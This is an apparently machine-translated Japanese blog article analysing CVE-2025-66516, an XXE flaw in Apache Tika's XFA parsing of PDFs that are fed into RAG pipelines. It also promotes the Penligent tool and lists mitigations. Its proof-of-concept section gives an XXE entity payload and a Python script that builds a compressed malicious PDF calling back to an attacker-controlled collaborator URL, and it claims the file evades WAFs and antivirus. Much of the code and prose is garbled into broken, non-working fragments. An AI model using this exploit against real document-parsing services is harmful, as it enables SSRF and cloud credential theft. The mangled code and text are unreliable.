検索支援型ジェネレーション(RAG)パイプラインの導入を急ぐあまり、業界はある基本的な真実を集団で無視した: パーサーは攻撃対象となる。
2025年のヘッドラインは、プロンプト・インジェクションやジェイルブレーキングに焦点を当てたが、最も壊滅的な攻撃は、データを処理する華やかでないミドルウェアをターゲットにしている。 CVE-2025-66516 (CVSS 10.0)はこの見落としの集大成である。AIの脆弱性ではない それ自体それは、レガシーなインフラの脆弱性が、最新のAIアーキテクチャーに対して武器化されたものである。
この分析では、Apache Tika XFA脆弱性のメカニズムを分解し、標準的なWAFがなぜこの脆弱性を捕捉できないかを示し、侵入テスト担当者向けに検証済みの概念実証(PoC)戦略を提供します。
その背景CVE-2025-66516が今重要な理由
深刻さを理解するためには、2026年の典型的なエンタープライズRAGシステムのアーキテクチャを分析する必要がある。
- ユーザーレイヤー: 従業員が社内の "AIアシスタント "にPDF(財務報告書や履歴書など)をアップロードする。
- 摂取層: バックエンド(LangChain、LlamaIndex、またはカスタムPythonスクリプト)はドキュメントローダーを利用する。
- 解析レイヤー: これらのローダーの85%は、以下のものに依存している。 アパッチ・ティカ (多くの場合、Dockerコンテナ内でヘッドレスサーバーとして実行される)でテキストを抽出する。
- ベクトル化: テキストはベクターデータベース(Pinecone、Milvus、Weaviate)に埋め込まれ、保存される。
CVE-2025-66516 ヒット レイヤー3.攻撃者は、悪意のあるXML Forms Architecture (XFA)ペイロードを標準的なPDFの中に埋め込むことができます。TikaがLLM用のテキストを抽出するためにフォームデータを解析しようとすると、XMLが実行され、次のような問題が発生します。 XML外部エンティティ(XXE) 注射を打つ。
Tika Server はコンテナ内で root 権限で実行され、テンポラリファイルを処理することが多いため、この XXE はすぐに次のようにエスカレートします。 リモートコード実行(RCE) または サーバーサイドリクエストフォージェリ(SSRF)攻撃者はAWSメタデータの認証情報をダンプしたり、内部VPCに侵入したりできる。

テクニカル・ブレイクダウンXFAパーサー・ロジックの欠陥
この脆弱性は org.apache.tika.parser.pdf.PDFParser クラス、特に XDP (XML Data Package) パケ ッ ト を PDF 内部に埋め込みます。
3.2.2より前のバージョンでは、XFAデータを抽出するロジックは次のようなものでした(簡略化したJava表現):
ジャワ
// VULNERABLE CODE SEGMENT (Conceptual) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA(); Document xfaDom = xfa.getDomDocument(); // <--- トリガーポイント // ここでのデフォルトの XML トランスフォーマは、XFA ストリームに対して DTD // または外部エンティティを効果的に無効にしませんでした。
致命的な失敗は、TikaがDOMにアクセスする前に、PDFレンダリングエンジン(PDFBox)がXMLストリームをサニタイズすると仮定していたことです。そうではありませんでした。パーサはPDFの内部構造を暗黙のうちに信頼していたのです。
比較スタンダードXXEとCVE-2025-66516の比較
| 特徴 | スタンダードXXE | CVE-2025-66516 (ティカXFA) |
|---|---|---|
| ベクトル | ダイレクトXMLアップロード(.xml) | バイナリPDF (pdf) |
| 検出 | 簡単(WAFブロック <ENTITY) | ハード (ペイロードはPDFストリームで圧縮/エンコードされる) |
| 特典 | 通常、ウェブユーザーは限られている | しばしばルート(Docker化されたティカ・サーバのデフォルト) |
| インパクト | 情報開示 | クラスローディング/SSRFによるRCE |
エクスプロイト(PoC)の構築
これを武器にするには、単純なテキストエディタでは不十分だ。PDFのオブジェクト構造を操作する必要がある。目的は、悪意のある XDP このストリームは、あなたのコントロール下にある外部エンティティを参照する。
フェーズ1:悪意のあるXMLペイロード
まず、エンティティを定義するXMLを作成する。サーバをクラッシュさせることなく脆弱性を確認するために、OOB(Out-of-Band)インタラクションをテストしたい。
XML
<xdp:xdp xmlns:xdp=""> <!DOCTYPE data [ <!ENTITY % payload SYSTEM ""> %payload; ]> CVE-Checkのようになります。

フェーズ2:Pythonインジェクション・スクリプト
Pythonを使って、このXMLを有効なPDFオブジェクト構造にラップします。これは、ファイルが数学的に有効なPDFであるため、シグネチャベースのアンチウイルスをバイパスします。
パイソン
zlib をインポートする。
def build_exploit_pdf(callback_url):# 1.悪意のあるXFAパケットを定義する xfa_xml = f"""<xdp:xdp xmlns:xdp=""http://ns.adobe.com/xdp/"> <!DOCTYPE root [ %xxe; ]> "".strip()
# 2.ストリームを圧縮する(難読化)
# Tikaはこれを自動的に膨らませますが、WAFは圧縮されたストリームを見逃すことがよくあります。
stream_content = zlib.compress(xfa_xml.encode('utf-8'))
# 3.PDF 本体の構築
# オブジェクト3は、XFAストリームを参照します。
pdf_body = (
b "%PDF-1.7"
b "1 0 obj
/Type /Pages /Kids [] /Count 0 >> 2 0 obj
b "3 0 obj\n<>B"
b "stream\n" + stream_content + b"\nendendstream\nendobj\n"
b "trailern<>Tep3Tep3TEOF"
)
with open("resume_hacker.pdf", "wb") as f:
f.write(pdf_body)
print(f"[+] zlib 圧縮を使用して作成されたアーティファクト 'resume_hacker.pdf'")
実行する
build_exploit_pdf(")http://burp-collaborator-url/xxe_trigger“)`
被害者のRAGエージェントが レジュメハッカー.pdf 埋め込みを生成するために、Tikaのバックエンドはオブジェクト3を膨張させ、XMLを解析し、コラボレーターのURLにリクエストを送ります。
現代のDevSecOpsにおける盲点
なぜ2026年にCVE-2025-66516が存続しているのか?シフト・レフト」の方法論に大きなギャップがあることを浮き彫りにしている。
ほとんどのDevSecOpsチームは、自分のチームをスキャンしている。 ソースコード (SAST)と彼らの ベース画像 (コンテナ・スキャン)。しかし、Tikaはしばしば「ブラックボックス」ユーティリティとして扱われる。
- SAST バイナリーの依存関係だからだ。
- ダスト (Dynamic Application Security Testing)は通常、JSONやSQLiでAPIエンドポイントをファジングするが、複雑なバイナリ形式のポリグロットのファイルアップロードを試みることはほとんどない。
これが、従来のテスト手法がAIエージェントに対して失敗する点である。エージェントは複雑な非構造化データを消費するように設計されているため、テストケースは複雑な非構造化データでなければならない。
Penligentによる自動検証
構造化されていないファイル・フォーマットに埋め込まれた攻撃というこの特定のベクトルは、次世代攻撃型セキュリティの中核をなすものである。そこで 寡黙 NessusやBurp Suiteのような従来のスキャナーとは一線を画している。
PenligentのAIエージェントは、アプリケーションのコンテキストを理解するように設計されています。Penligentは、RAGパイプラインでファイルアップロードエンドポイントに遭遇すると、HTTPヘッダをファジングするだけではありません。上記のPDFエクスプロイトのような「変異ベース」のペイロードをインテリジェントに構築します。これは効果的に問いかけます: "このAIにカーネルレベルのエクスプロイトを含む履歴書を与えたら、それを処理するだろうか?"
Penligentは、このようなポリグロットファイル(XXEを含むPDF、PHPウェブシェルを含む画像)の作成を自動化することで、ターゲットの基本的な解析ロジックを理解する高度な攻撃者をシミュレートし、CVE-2025-66516や同様の「フォーマット混乱」攻撃に対するRAGパイプラインの耐性を現実的に評価します。
緩和戦略
もしあなたの組織がTika(またはそれをバンドルしたフレームワーク、たとえば 非構造化.io またはLangChain Community)で、これらの修正を直ちに適用してください。
1.核」オプション:XFAを無効にする
特にインタラクティブなPDFフォームからのデータ解析を必要とするビジネスでない限り(RAGではまれです)、XFAパーサーは tika-config.xml.
XML
false false false
2.パーサーを分離する(「エアロック」パターン)
決してアプリケーション・ロジックやベクター・データベースと同じコンテキストでドキュメント解析を実行しないでください。
- Tikaをディストロなしのコンテナで実行する。
- ネットワークの分離: ティカ・コンテナには ゼロ・エグジット・アクセス.ファイルを受け取り、テキストを返し、インターネットや内部のクラウドメタデータサービス(
169.254.169.254). - リソースの制限: 厳しいメモリ制限を設定する (
エックスエムエックス)を使って、XXEのいとこであることが多い "Billion Laughs "DoS攻撃を防いでいる。
3.サンドボックス・パーサーへの移行
信頼できない入力に対しては、Javaベースのパーサーからの移行を検討する。RustやGoを利用した最新の代替手段や、以下のようなサンドボックス環境もある。 バイザー または AWSファイアークラッカーバイナリファイルを解析するという本質的にリスクの高いタスクに対して、より強力な分離レイヤーを提供する。
概要
CVE-2025-66516はAIセキュリティへの警鐘。我々は砂の上にインテリジェントな城を築いているのだ。我々のAIモデルが世界を解釈するために何十年も前の解析ライブラリに依存している限り、それらのライブラリは攻撃者にとって最も抵抗の少ない経路であり続けるだろう。
インジェストレイヤーを保護する。Tikaのバージョンを確認する。そして、システムにアップロードされたPDFは、そうでないことが証明されるまでは、すべて凶器であると考えましょう。

